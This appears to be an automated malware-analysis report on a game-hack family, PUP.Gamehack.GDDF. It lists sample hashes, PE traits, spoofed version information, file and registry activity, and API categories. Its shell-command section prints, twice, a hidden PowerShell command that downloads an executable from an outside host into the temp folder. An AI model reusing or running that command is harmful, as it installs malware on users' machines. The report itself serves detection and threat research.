PUP.Gamehack.GDDF
Table of Contents
Analysis Report
General information
| Family Name: | PUP.Gamehack.GDDF |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
3c46f05815a19c60db6b38309593ccce
SHA1:
6cff911f6d7a243c537b2221185283e5c95844aa
SHA256:
A190E5D9C0F748C888514CF78BB34DD1E8255F775474EA033628FAE2DBEE041D
File Size:
1.69 MB, 1693696 bytes
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MD5:
5d72ffd603b8e7810b572758756b4e19
SHA1:
be9587ad7ed48c112015d2c2193a17e4cd0e0f47
SHA256:
9DD0992579EAA1886EF2AB876CA63676B45F207983E4E07A9D2E060F86531375
File Size:
1.46 MB, 1458176 bytes
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MD5:
430f3226c75c8d2993f9cbd8c9f9bb6e
SHA1:
c9e9abfa7ff23e6d1c62ed1e1951cf72dedf0409
SHA256:
17FE4860A5B6EAE0A43EDAC3BC12672C11B2C1B563E51F1D15B7B9A2E22171A2
File Size:
574.98 KB, 574976 bytes
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MD5:
3c5336c77872119e96edc34bf1f3e47b
SHA1:
8d784f20d3b7d635b5d10ce0d2c16f0290837da8
SHA256:
9E15FA5A5E5051124317B0CE600A0FF1022B3F959023364243DCED269FA621E0
File Size:
711.68 KB, 711680 bytes
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MD5:
2cc26c8f95610b8a0392aab2757a2378
SHA1:
89179cd597faa71fa09cc1c394dc04804ad6e290
SHA256:
508F329D9668122E551DD67BCF6B68BB8A9E03BC1FCCDAFD041D4B703B6408EA
File Size:
712.70 KB, 712704 bytes
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MD5:
ff787480b1f91acbcbd04ab85ca8a4ca
SHA1:
b447b51e918e10a4c03ef27e22f0ca1177703206
SHA256:
B908FDC0859EFA80794B2231E7340B29190A0537793A2C35DACD8E3D9B5E7F25
File Size:
703.49 KB, 703488 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
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- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | Skadoosh LLC |
| File Description | LARGO |
| File Version | 2.0.0.0 |
| Internal Name | LARGO |
| Legal Copyright | (c) 2026 Skadoosh LLC. All rights reserved. |
| Original Filename | LARGO.exe |
| Product Name | LARGO Security Software |
| Product Version | 2.0.0.0 |
File Traits
- GetConsoleWindow
- imgui
- No Version Info
- VirtualQueryEx
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 526 |
|---|---|
| Potentially Malicious Blocks: | 8 |
| Whitelisted Blocks: | 504 |
| Unknown Blocks: | 14 |
Visual Map
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0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Downloader.Agent.TTB
- Gamehack.GDDE
- Gamehack.GDDF
- Kryptik.ODFF
- RobloxHack.LE
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- RobloxHack.PAA
- TelegramHack.TA
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\gmdasllogger | Generic Write,Read Attributes |
| \device\namedpipe\pshost.134226128175979777.8960.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.0.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.1.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.2.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.blf | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_04rm3fte.zpn.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_1jri1uzt.5ho.psm1 | Generic Write,Read Attributes |
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| c:\users\user\appdata\local\temp\__psscriptpolicytest_p4ilmcsz.xd1.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_ued4rsja.fbx.psm1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
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22 additional items are not displayed above. |
| Anti Debug |
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| Network Wininet |
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| Process Manipulation Evasion |
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| User Data Access |
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| Process Shell Execute |
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| Process Terminate |
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| Encryption Used |
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| Other Suspicious |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
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C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
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